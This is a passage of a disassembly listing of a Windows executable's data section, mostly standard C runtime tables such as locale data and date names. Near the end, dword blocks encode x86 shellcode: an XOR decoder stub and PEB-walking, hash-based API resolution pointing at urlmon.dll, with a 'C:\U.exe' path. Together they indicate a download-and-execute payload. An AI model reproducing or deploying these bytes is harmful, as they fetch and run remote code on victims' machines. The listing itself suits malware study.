byte_423290 db 0 ; DATA XREF: __setmbcp+102w
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h, 0
byte_423398 db 0 ; DATA XREF: __setmbcp+11Ew
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
; void *Memory
Memory dd 9A2980h ; DATA XREF: _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+41r
; ___updatetmbcinfo+4Cr ...
byte_42349C db 1 ; DATA XREF: __setmbcp_nolock+E3r
db 2, 4, 8
dword_4234A0 dd 3A4h ; DATA XREF: __setmbcp_nolock:loc_404AFAr
dword_4234A4 dd 82798260h ; DATA XREF: __setmbcp_nolock+12Br
dd 21h, 0
dword_4234B0 dd 0DFA6h ; DATA XREF: __setmbcp_nolock+C6r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dd offset dword_41DF40+4
dword_423594 dd 0FFFFFFFEh ; DATA XREF: _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+2Cr
; _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+4Cr ...
dword_423598 dd 43h, 0 ; DATA XREF: ___freetlocinfo:loc_404F1Eo
; ___addlocaleref:loc_404FACo ...
dword_4235A0 dd 2, 15h dup(0) ; DATA XREF: __updatetlocinfoEx_nolock+28o
; _freefls(x)+DAo ...
dd offset dword_423598
dd 3 dup(0)
dd offset dword_423598
dd 3 dup(0)
dd offset dword_423598
dd 3 dup(0)
dd offset dword_423598
dd 3 dup(0)
dd offset dword_423598
dd 3 dup(0)
dd 2 dup(1), 3 dup(0)
dd offset off_423F38
dd 2 dup(0)
off_423668 dd offset asc_41DD40 ; DATA XREF: _isdigit+Dr _isxdigit+Dr ...
; " ((((( H"
dd offset dword_41E148+80h
dd offset dword_41E148+200h
dd offset off_423E78
off_423678 dd offset dword_4235A0 ; DATA XREF: _LocaleUpdate::_LocaleUpdate(localeinfo_struct *)+24r
; ___updatetlocinfo+4Er ...
dd 1
off_423680 dd offset dword_4235A0 ; DATA XREF: _strtol+17o
dd offset dword_423070
dword_423688 dd 0Eh ; DATA XREF: __encode_pointer+13r
; __decode_pointer+13r ...
dword_42368C dd 0Dh ; DATA XREF: __encode_pointer+1r
; __encode_pointer+1Er ...
dword_423690 dd 1 ; DATA XREF: __get_errno_from_oserr:loc_40579Er
dword_423694 dd 16h ; DATA XREF: __get_errno_from_oserr:loc_4057B9r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4237F8 dd 0Ch ; DATA XREF: __errno+9o
dword_4237FC dd 8 ; DATA XREF: ___doserrno+9o
off_423800 dd offset dword_425E18 ; DATA XREF: __mtinitlocks:loc_4058BEw
; __mtdeletelocks+8o ...
dword_423804 dd 1 ; DATA XREF: __mtinitlocks:loc_40588Ar
dd offset dword_425E30
dd 1, 2 dup(0)
dd offset dword_425E48
dd 1, 425E60h, 1, 2 dup(0)
dd offset dword_425E78
dd 1, 425E90h, 1, 425EA8h, 1, 2 dup(0)
dd offset dword_425EC0
dd 1, 9A44F0h, 0
dd offset dword_425ED8
dd 1, 425EF0h, 1, 425F08h, 1, 2 dup(0)
dd offset dword_425F20
dd 1, 425F38h, 1, 425F50h, 1, 9A44D0h, 21h dup(0)
dword_423920 dd 10h ; DATA XREF: __mtdeletelocks+2Ao
; __mtdeletelocks+4Ao
; char *Str
Str dd offset aNull ; DATA XREF: __output_l:loc_406EC5r
; __output_l+7E7r
; "(null)"
off_423928 dd offset aNull_0 ; DATA XREF: __output_l+433r
; "(null)"
align 10h
off_423930 dd offset __exit ; DATA XREF: __amsg_exit+Er
; __init_pointers+45w
dd 3 dup(0)
dd offset aBadAllocation ; "bad allocation"
align 10h
off_423950 dd offset dword_433DC0 ; DATA XREF: sub_408084o
; ___initstdio+52o ...
align 8
dd offset dword_433DC0
dd 101h
dword_423960 dd 0FFFFFFFEh, 0 ; DATA XREF: ___initstdio+74o
dd 1000h, 4 dup(0)
dd 2, 0FFFFFFFEh, 6 dup(0)
dd 2, 0FFFFFFFEh, 7 dup(0)
dword_4239C0 dd 3, 0 ; DATA XREF: ___initstdio+A4o
dd 1000h, 79h dup(0)
dword_423BB0 dd 8 dup(0) ; DATA XREF: __lock_file+Do
; __unlock_file+Do
dword_423BD0 dd 0FFFFFFFFh, 0A80h, 0Ah dup(0) ; DATA XREF: _fprintf:loc_4032A3o
; _fprintf:loc_4032E8o ...
dword_423C00 dd 2 ; DATA XREF: __NMSG_WRITE:loc_409AC0r
; char *off_423C04
off_423C04 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE:loc_409BE4r
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 41DA94h, 9, 41DA68h, 0Ah, 41D9D0h, 10h, 41D9A4h
dd 11h, 41D974h, 12h, 41D950h, 13h, 41D924h, 18h, 41D8ECh
dd 19h, 41D8C4h, 1Ah, 41D88Ch, 1Bh, 41D854h, 1Ch, 41D82Ch
dd 1Eh, 41D80Ch, 1Fh, 41D7A8h, 20h, 41D770h, 21h, 41D678h
dd 22h, 41D5D8h, 78h, 41D5C8h, 79h, 41D5B8h, 7Ah, 41D5A8h
dd 0FCh, 41D5A4h, 0FFh, 41D594h
byte_423CB8 db 0 ; DATA XREF: __read_nolock:loc_40A10Er
; __read_nolock+36Fr
align 4
dd 2Fh dup(0)
dd 8 dup(1010101h), 4 dup(2020202h), 2 dup(3030303h), 2 dup(0)
dword_423DB8 dd 1B3Fh ; DATA XREF: __floor_default+Dr
align 10h
dword_423DC0 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __initptd+1Do
; _freefls(x)+6Eo
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_423E38 dd 3 ; DATA XREF: __XcptFilter+A1r
; __XcptFilter+C0r ...
dword_423E3C dd 7 ; DATA XREF: __XcptFilter+A7r
; __XcptFilter+C6r ...
dd 78h
dword_423E44 dd 0Ah ; DATA XREF: __XcptFilter+22r
; _siglookup+4r
dd offset aBadAllocation ; "bad allocation"
dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
off_423E50 dd offset off_41D38C ; DATA XREF: unknown_libname_104+128o
; .rdata:00420E40o ...
align 8
a_?avbad_except db '.?AVbad_exception@std@@',0
dd offset asc_41DD40 ; " ((((( H"
dd offset dword_41DF40+2
off_423E78 dd offset aSun ; DATA XREF: ___freetlocinfo+D9o
; .data:00423674o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset aDecember ; "December"
dd offset aAm ; "AM"
dd offset aPm ; "PM"
dd offset aMmDdYy ; "MM/dd/yy"
dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy"
dd offset dword_41E148+300h
dd 409h, 2 dup(1), 423E78h
dword_423F34 dd 2Eh ; DATA XREF: .data:off_423F38o
off_423F38 dd offset dword_423F34 ; DATA XREF: ___freetlocinfo+14o
; ___free_lconv_num+Br ...
off_423F3C dd offset dword_426418 ; DATA XREF: ___free_lconv_num+1Dr
off_423F40 dd offset dword_426418 ; DATA XREF: ___free_lconv_num+2Fr
off_423F44 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+Cr
off_423F48 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+1Er
off_423F4C dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+30r
off_423F50 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+42r
off_423F54 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+54r
off_423F58 dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+66r
off_423F5C dd offset dword_426418 ; DATA XREF: ___free_lconv_mon+78r
dd 2 dup(7F7F7F7Fh), 423F38h, 1, 2Eh, 1, 2 dup(0)
off_423F80 dd offset __cfltcvt ; DATA XREF: __initp_misc_cfltcvt_tab:loc_40D5A2r
; __cfltcvt_init+5w
off_423F84 dd offset __cropzeros ; DATA XREF: __cfltcvt_init+Aw
off_423F88 dd offset __fassign ; DATA XREF: __cfltcvt_init+14w
off_423F8C dd offset __forcdecpt ; DATA XREF: __cfltcvt_init+1Ew
off_423F90 dd offset __positive ; DATA XREF: __cfltcvt_init+28w
off_423F94 dd offset __cfltcvt ; DATA XREF: __cfltcvt_init+32w
off_423F98 dd offset __cfltcvt_l ; DATA XREF: __output_l+61Ar
; __cfltcvt_init+37w
off_423F9C dd offset __fassign_l ; DATA XREF: __input_l+5F1r
; __cfltcvt_init+41w
off_423FA0 dd offset __cropzeros_l ; DATA XREF: __output_l+65Fr
; __cfltcvt_init+4Bw
off_423FA4 dd offset __forcdecpt_l ; DATA XREF: __output_l+640r
; __cfltcvt_init+55w
align 10h
dword_423FB0 dd 19930520h, 3 dup(0) ; DATA XREF: __NLG_Notify1+2o
; __NLG_Notify+2o
dword_423FC0 dd 44442694h ; DATA XREF: __handle_qnan1+3r
; __except1+5Dr
dd 50474E49h, 49444441h, 5858474Eh
dword_423FD0 dd 44444150h ; DATA XREF: __umatherr:loc_40FD5Er
dword_423FD4 dd 50474E49h ; DATA XREF: __umatherr:loc_40FDCEr
dd 49444441h, 5858474Eh, 44444150h, 50474E49h, 49444441h
dd 5858474Eh, 44444150h, 50474E49h, 49444441h, 5858474Eh
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h, 49444441h, 5858474Eh, 44444150h, 50474E49h
dd 49444441h, 5858474Eh, 44444150h, 50474E49h, 49444441h
dd 5858474Eh, 44444150h, 50474E49h, 49444441h, 5858474Eh
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h, 49444441h, 5858474Eh, 44444150h, 50474E49h
dd 49444441h, 5858474Eh, 44444150h, 50474E49h, 49444441h
dd 5858474Eh, 44444150h, 50474E49h, 49444441h, 5858474Eh
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h
dbl_4240B8 dq 3.826492466550711e117 ; DATA XREF: __handle_exc:loc_40FBF0r
; __handle_exc:loc_40FBF8r
dd 44444150h, 50474E49h
dbl_4240C8 dq 3.826492466550711e117 ; DATA XREF: __handle_exc+89r
; __handle_exc+A4r ...
dd 44444150h, 50474E49h, 49444441h, 5858474Eh
tbyte_4240E0 db 50h, 41h, 44h, 44h, 49h, 4Eh, 47h, 50h, 41h, 44h
; DATA XREF: __set_statfp+Br
; __set_statfp+1Er
dw 4944h
tbyte_4240EC db 4Eh, 47h, 58h, 58h, 50h, 41h, 44h, 44h, 49h, 4Eh
; DATA XREF: __set_statfp+30r
dw 5047h
dword_4240F8 dd 49444441h ; DATA XREF: ___set_fpsr_sse2+1Cr
; ___set_fpsr_sse2+4Cw
byte_4240FC db 4Eh ; DATA XREF: _abort+1Br
; _abort:loc_4101FBr
db 47h, 2 dup(58h)
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h, 49444441h, 5858474Eh, 44444150h, 50474E49h
dd 49444441h, 5858474Eh, 44444150h, 50474E49h, 49444441h
dd 5858474Eh, 44444150h, 50474E49h, 49444441h, 5858474Eh
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h, 49444441h, 5858474Eh, 44444150h, 50474E49h
dd 49444441h, 5858474Eh, 44444150h, 50474E49h, 49444441h
dd 5858474Eh, 44444150h, 50474E49h, 49444441h, 5858474Eh
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h, 49444441h, 5858474Eh, 44444150h, 50474E49h
dd 49444441h, 5858474Eh, 44444150h, 50474E49h, 49444441h
dd 5858474Eh, 44444150h, 50474E49h, 49444441h, 5858474Eh
dd 44444150h, 50474E49h, 49444441h, 5858474Eh, 44444150h
dd 50474E49h, 49444441h, 5858474Eh, 44444150h, 50474E49h
dword_424218 dd 49444441h ; DATA XREF: __putwch_nolock+13r
; __putwch_nolock+4Fr ...
dd 5858474Eh
dword_424220 dd 44444150h ; DATA XREF: ___termcon:loc_411463r
dword_424224 dd 50474E49h ; DATA XREF: __putwch_nolock+1Br
; __putwch_nolock:loc_410505r ...
dd 49444441h, 5858474Eh
dword_424230 dd 44444150h ; DATA XREF: sub_411969:loc_411D0Dr
; sub_411969+44Dr
dword_424234 dd 50474E49h ; DATA XREF: sub_411969:loc_411AD8r
dword_424238 dd 49444441h ; DATA XREF: sub_411969+78r
; sub_411969+176r ...
dword_42423C dd 5858474Eh ; DATA XREF: sub_411969:loc_411C74r
; sub_411969+3AAr ...
dword_424240 dd 44444150h ; DATA XREF: sub_411969+519r
dword_424244 dd 50474E49h ; DATA XREF: sub_411969+452r
; sub_411969:loc_411DCCr
dword_424248 dd 49444441h ; DATA XREF: sub_411EAB:loc_41224Fr
; sub_411EAB+44Dr
dword_42424C dd 5858474Eh ; DATA XREF: sub_411EAB:loc_41201Ar
dword_424250 dd 44444150h ; DATA XREF: sub_411EAB+78r
; sub_411EAB+176r ...
dword_424254 dd 50474E49h ; DATA XREF: sub_411EAB:loc_4121B6r
; sub_411EAB+3AAr ...
dword_424258 dd 49444441h ; DATA XREF: sub_411EAB+519r
dword_42425C dd 5858474Eh ; DATA XREF: sub_411EAB+452r
; sub_411EAB:loc_41230Er
aPaddingpadding db 'PADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXP'
; DATA XREF: ___strgtold12_l+363o
; _$I10_OUTPUT+18Eo
db 'ADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPA'
db 'DDING',0
dd 987500h, 987300h, 0
dd 1400h, 41DC1400h, 1D00h, 41DC1800h, 1A00h, 41DC0800h
dd 1B00h, 41DC0C00h, 1F00h, 41EE1000h, 1300h, 41EE0800h
dd 2100h, 41EE0000h, 0E00h, 41DC0000h, 0D00h, 41DBF800h
dd 0F00h, 41DBDC00h, 1000h, 41EDF800h, 500h, 41EDF000h
dd 1E00h, 41DBC000h, 1200h, 41DBBC00h, 2000h, 41DBB800h
dd 0C00h, 41DBD400h, 0B00h, 41DBCC00h, 1500h, 41EDE800h
dd 1C00h, 41DBC400h, 1900h, 41EDE000h, 1100h, 41EDD800h
dd 1800h, 41EDD000h, 1600h, 41EDC800h, 1700h, 41EDC000h
dd 2200h, 41EDBC00h, 2300h
dword_4243C0 dd 41EDB800h, 2400h, 41EDB400h, 2500h, 41EDAC00h, 2600h
; DATA XREF: ___strgtold12_l+37Ao
; _$I10_OUTPUT+1B3o
dd 41EDA000h, 0
dd 0F0000000h, 7Fh, 0F8000000h, 0FFFFFFFFh, 0EFFFFFFFh
dd 7Fh, 10000000h, 2 dup(0)
dd 80h, 0
dd 441080h, 100h, 0
aA0:
unicode 0, <€0>
dw 100h
align 10h
dd 300h, 708000h, 100h, 0FFF1F000h, 0FFh, 54535000h, 0Fh dup(0)
dd 54445000h, 0Fh dup(0)
dd 42411000h, 42415000h, 0FFFFFF00h, 0FFh, 0
dd 0FFFFFF00h, 0FFh, 0
dd 0FFFFFF00h, 1EFFh, 3B00h, 5A00h, 7800h, 9700h, 0B500h
dd 0D400h, 0F300h, 11100h, 13000h, 14E00h, 16D00h, 0FFFFFF00h
dd 1EFFh, 3A00h, 5900h, 7700h, 9600h, 0B400h, 0D300h
dword_424528 dd 0F200h ; DATA XREF: sub_401F1C+81o
; sub_401F1C+C8r ...
dd 11000h, 12F00h, 14D00h, 16C00h, 200h, 0
dd 0FFFFFE00h
dword_424548 dd 0FFFFFEFFh ; DATA XREF: sub_401F1C+3FEr
; sub_40251A+77r ...
dword_42454C dd 0FFh ; DATA XREF: sub_40251A:loc_40256Br
; .text:0041A9BDr ...
dword_424550 dd 0 ; DATA XREF: sub_413A2D+20Cr
; sub_413A2D+31Dr ...
dd 40000h, 0FFFC0100h, 35FFh, 0B00h, 4000h, 3FF00h, 8000h
dd 0FFFF8100h, 18FFh, 800h, 2000h, 7F00h, 2 dup(0)
dd 2A00000h, 40h, 0
dd 5C80000h, 40h, 0
dd 8FA0000h, 40h, 0
dd 0C9C4000h, 40h, 0
dd 0FC35000h, 40h, 0
dd 12F42400h, 40h, 0
dd 16989680h, 40h
dword_4245DC dd 0 ; DATA XREF: sub_41A5C1+205o
dd 19BEBC20h, 40h, 0BF040000h, 348E1BC9h, 40h, 0CECCEDA1h
dd 4ED3C21Bh, 9EF02040h, 0A82B70B5h
dword_424604 dd 699DC5ADh, 0FD5DD040h, 8E1AE525h, 83EB194Fh ; DATA XREF: sub_41A5C1+2B4o
dword_424614 dd 0D7967140h, 50E4395h ; DATA XREF: .text:0041AE81o
dword_42461C dd 9EAF298Dh, 0A0BFF940h, 1281ED44h ; DATA XREF: .text:0041ACFFo
dword_424628 dd 0B982818Fh ; DATA XREF: .text:0041ACA9r
dword_42462C dd 0D53CBF40h ; DATA XREF: .text:0041AECBr
dword_424630 dd 49FFCFA6h ; DATA XREF: .text:0041ACF6r
dd 0D3C2781Fh, 0E0C66F40h, 0C980E98Ch, 0A893BA47h
dword_424644 dd 6B85BC41h ; DATA XREF: .text:0041AEE4r
; .text:0041AEF0r ...
dd 8D392755h, 7CE070F7h
dword_424650 dd 8EDDBC42h ; DATA XREF: .text:loc_41B27Dr
; .text:0041B28Eo
dd 0FB9DF9DEh, 51AA7EEBh, 76E6A143h, 29F2CCE3h, 2681842Fh
dd 17102844h, 10AEF8AAh, 0FAC4C5E3h, 0D4A7EB44h, 0E1EBF7F3h
dd 0CF957A4Ah, 0C7CC6545h, 0AEA60E91h, 0A3E319A0h, 17650D46h
dd 8681750Ch, 48C97675h, 0E442584Dh, 3B3993A7h, 0EDB2B835h
dd 0E5A74D53h, 5DC53D5Dh, 929E8B3Bh, 0A65DFF5Ah, 0C020A1F0h
dd 378CA554h, 8BFDD161h, 25D88B5Ah, 0DBF9895Dh, 0F895AA67h
dd 0A2BF27F3h, 80DD5DC8h, 9BC94C6Eh, 28A2097h, 25C46052h
dd 75h, 0CDCCCD00h, 0CCCCCCCCh, 0FBCCCCCCh, 0A3D713Fh
dd 3D70A3D7h, 0F8A3D70Ah, 3B645A3Fh, 978D4FDFh, 0F583126Eh
dd 2CD3C33Fh, 58E21965h, 0F1D1B717h, 230FD03Fh, 471B4784h
dd 0EEA7C5ACh, 0B6A6403Fh, 5AF6C69h, 0EB8637BDh, 0BC3D333Fh
dd 0D5E57A42h, 0E7D6BF94h, 0FDFDC23Fh, 118461CEh, 0E4ABCC77h
dd 5B4C2F3Fh, 0BEC44DE1h, 0C9E69594h, 53C4923Fh, 0CD44753Bh
dd 0AF9ABE14h, 0BA67DE3Fh, 0AD453994h, 94CFB11Eh, 0C623243Fh
dd 3BBABCE2h, 7A8B6131h, 5955613Fh, 53B17EC1h, 5FBB127Ch
dd 2FEED73Fh, 92BE068Dh, 44FB1585h, 0A53F243Fh, 27A539E9h
dd 2AA87FEAh, 0A1AC7D3Fh, 7C64BCE4h, 55DDD046h, 67B633Eh
dd 775423CCh, 8191FF83h, 3AFA913Dh, 25637A19h, 0ACC03143h
dd 0D189213Ch, 97478238h, 0D7FD00B8h, 5888DC3Bh, 0E8B11B08h
dd 3A686E3h, 4584C63Bh, 99B60742h, 2EDB3775h, 1C71333Ah
dd 32DB23D2h, 5A9049EEh, 0BE87A639h, 0A5DA57C0h, 0B5A2A682h
dd 0B268E232h, 9F52A711h, 10B75944h, 0E449252Ch, 4F34362Dh
dd 6BCEAE53h, 4598F25h, 0C2DEC0A4h, 0C6E8FB7Dh, 88E79E1Eh
dd 3C91575Ah, 228350BFh, 654B4E18h, 8F83FD62h, 7D9406AFh
dd 0DE2DE411h, 0C8D2CE9Fh, 0D8A6DD04h, 0Ah, 41EEC800h
dd 41EF1800h, 4E00h, 7 dup(0)
dd 8B00h, 0
dd 41A9DE00h, 4D00h, 6 dup(0)
dword_424894 dd 0 ; DATA XREF: sub_41411F+78o
dd 59900h, 0
dd 41B1A000h, 5300h, 2 dup(0)
dword_4248B0 dd 5 dup(0) ; DATA XREF: sub_41411F+182o
dd 0B9700h, 0
dd 41A8D500h
dword_4248D0 dd 0Bh dup(0) ; DATA XREF: sub_41432A+38o
dd 41EF5400h, 0F100100h, 0A20h, 180200h, 1, 240000h, 0D2C9B714h
dd 0EF333ED9h, 431F2534h, 5C020200h, 2Fh, 0EB414100h, 1E100D06h
dd 6D6D50h, 41EF9400h, 0D0A0000h, 2E2F5F5Ch, 0FFC48100h
dd 44FFFFEFh, 41EFA400h, 42A00h, 3E800h, 25800h, 41EFC000h
dd 2C600h, 26400h, 0
dd 2080400h, 41F09800h, 41F5B800h, 41EF0B00h, 41F14C00h
dd 41F15C00h, 41F16C00h, 41F17C00h, 41F18800h, 41F19000h
dd 41F19800h, 41F19C00h, 41F1A800h, 41F1B400h, 41F1BC00h
dd 41F1C800h, 41F1D000h, 41F1D400h, 41F1D800h, 41F1DC00h
dd 41F1E000h, 41F1E400h
dword_4249C0 dd 41F1EC00h ; DATA XREF: sub_416AE0+6Er
dword_4249C4 dd 41F1F400h ; DATA XREF: sub_416AE0+75r
dd 41F1FC00h, 41F20400h, 41F21000h, 41F21C00h, 41F22800h
dd 41F23000h, 41F23800h, 41F24000h, 41F24800h, 41F25000h
dd 41F25800h, 41F26000h, 41F26800h, 41F27000h
dword_424A00 dd 41F27800h ; DATA XREF: sub_416AE0+8Br
dword_424A04 dd 41F28000h ; DATA XREF: sub_416AE0+91r
dd 41F28C00h, 41F29400h, 41F29C00h, 41F2A400h, 41F2AC00h
dd 41F2B400h, 41F2BC00h, 41F2C400h, 41F2CC00h, 41F2D000h
dd 41F2D400h, 41F2E000h, 41F2EC00h, 41F2F800h, 41F30000h
dd 41F30C00h
dword_424A48 dd 41F31400h, 41F31800h, 41F32000h, 41F32C00h, 41F33400h
; DATA XREF: .text:0041C020o
dd 41F33C00h, 41F34400h, 41F34C00h, 41F35400h, 41F35C00h
dd 41F36000h, 41F36400h, 41F36800h, 41F36C00h, 41F37000h
dd 41F37400h, 41F37800h, 41F38000h, 41F38800h, 41F39000h
dd 41F39800h, 41F3A000h, 41F3A800h, 41F3AC00h, 41F3B000h
dd 41F3B800h, 41F3C000h, 41F3C800h, 41F3CC00h, 41F3D400h
dd 41F3D800h, 41F3E000h, 41F3E800h, 41F3F000h, 41F3F800h
dd 41F3FC00h, 41F40400h, 41F40C00h, 41F41400h, 41F42000h
dd 41F42C00h, 41F43400h, 41F44000h, 41F44800h, 41F45000h
dd 41F45800h, 41F45C00h, 41F46000h, 41F46800h, 41F47000h
dd 41F47800h, 41F48400h, 41F49400h, 41F4A000h, 41F4A800h
dd 41F4B000h, 41F4BC00h, 41F4CC00h, 41F4D400h, 41F4E800h
dd 41F4EC00h, 41F4F000h, 41F4F800h, 41F4FC00h, 41F50000h
dd 41F51400h, 41F52000h, 41F52800h, 41F52C00h, 41F53400h
dd 41F53C00h, 41F54400h, 41F54C00h, 41F55000h, 41F55800h
dd 41F55C00h, 41F56400h, 41F56C00h, 41F57400h, 41F57C00h
dd 41F58400h, 41F58800h, 41F59400h, 41F5A000h, 41F5A800h
dd 41F5B000h, 0
dd 41F66800h, 41F68000h, 41F7C000h, 41F7D000h, 41F81C00h
dd 0B1C93300h, 0D9EED922h, 5BF42474h, 146B80h, 156B80h
dd 0E2FEEB83h, 0F3h, 0B1C93300h, 0D9EED922h, 5BF42474h
dd 147380h, 157380h, 0E2FEEB83h, 0F3h, 0
dd 8B54EB00h, 748B3C75h, 0F5037835h, 20768B56h, 0C933F503h
dd 33AD4149h, 0BE0F36DBh, 0F2382814h, 0CBC10874h, 40DA030Dh
dd 0DF3BEFEBh, 8B5EE775h, 0DD03245Eh, 4B0C8B66h, 31C5E8Bh
dd 8B048BDDh, 75C3C503h, 6F6D6C72h, 6C642E6Eh, 3A43006Ch
dd 652E555Ch
dword_424C48 dd 33006578h, 400364C0h, 8B0C7830h, 708B0C40h, 408BAD1Ch
; DATA XREF: .text:0041C01Bo
dd 8B09EB08h, 408D3440h, 3C408B7Ch, 4E8EBF95h, 84E8EC0Eh
dd 83FFFFFFh, 2C8304ECh, 0D0FF3C24h, 36BF5095h, 0E8702F1Ah
dd 0FFFFFF6Fh, 0FC24548Bh, 33BA528Dh, 525353DBh, 0FF5324EBh
dd 98BF5DD0h, 0E80E8AFEh, 0FFFFFF53h, 8304EC83h, 0FF62242Ch
dd 0CEEFBFD0h, 40E860E0h, 52FFFFFFh, 0D7E8D0FFh, 0FFFFFFh
dd 2 dup(0)
dd 0FF0000FFh, 0FFFF00FFh, 0FFh, 80000080h, 800000h, 8000h
dd 4200D000h, 4 dup(0)
dd 0FFh, 0FF000000h, 0FFh, 0FFFF0000h, 0FFh, 0FFFFFF00h
dd 0FFh, 0FFFFFFFFh, 0FF0000FFh, 0FFFFFFFFh, 0FFFF00FFh
dd 0FFFFFFFFh, 0FFh, 0
dd 80h, 80000000h, 0
dd 800000h, 0
dd 8000h, 0
dd 80h, 80000000h, 0
dd 800000h, 0
dd 8000h, 0
dd 4200E000h, 4201C000h, 0EDEDF400h, 0F0FBFCBBh, 0BBF6E5E1h
dd 0E1F0FBh, 33h dup(0)
word_424E48 dw 0 ; DATA XREF: .text:loc_41C013r
align 10h
byte_424E50 db 0 ; DATA XREF: sub_4196D1:loc_4196FCo
; sub_4196D1+44r
align 4
dd 1Fh dup(0)
dword_424ED0 dd 27h dup(0) ; DATA XREF: sub_41783D+2A9o
; sub_41783D+375o ...
dd 0F4A6E700h, 0E7A6E5h, 17h dup(0)
dword_424FD0 dd 6 dup(0) ; DATA XREF: sub_41783D+2FFo
; sub_41783D+38Fo
byte_424FE8 db 0 ; DATA XREF: sub_417676+E4r
byte_424FE9 db 3 dup(0) ; DATA XREF: sub_41783D+3A5o
dd 0Dh dup(0)
db 0
byte_425021 db 3 dup(0) ; DATA XREF: sub_41783D+611o
dd 0Fh dup(0)
db 0
byte_425061 db 3 dup(0) ; DATA XREF: sub_401C1D+60o
; sub_416F86+B8o ...
dd 1Fh dup(0)
db 0
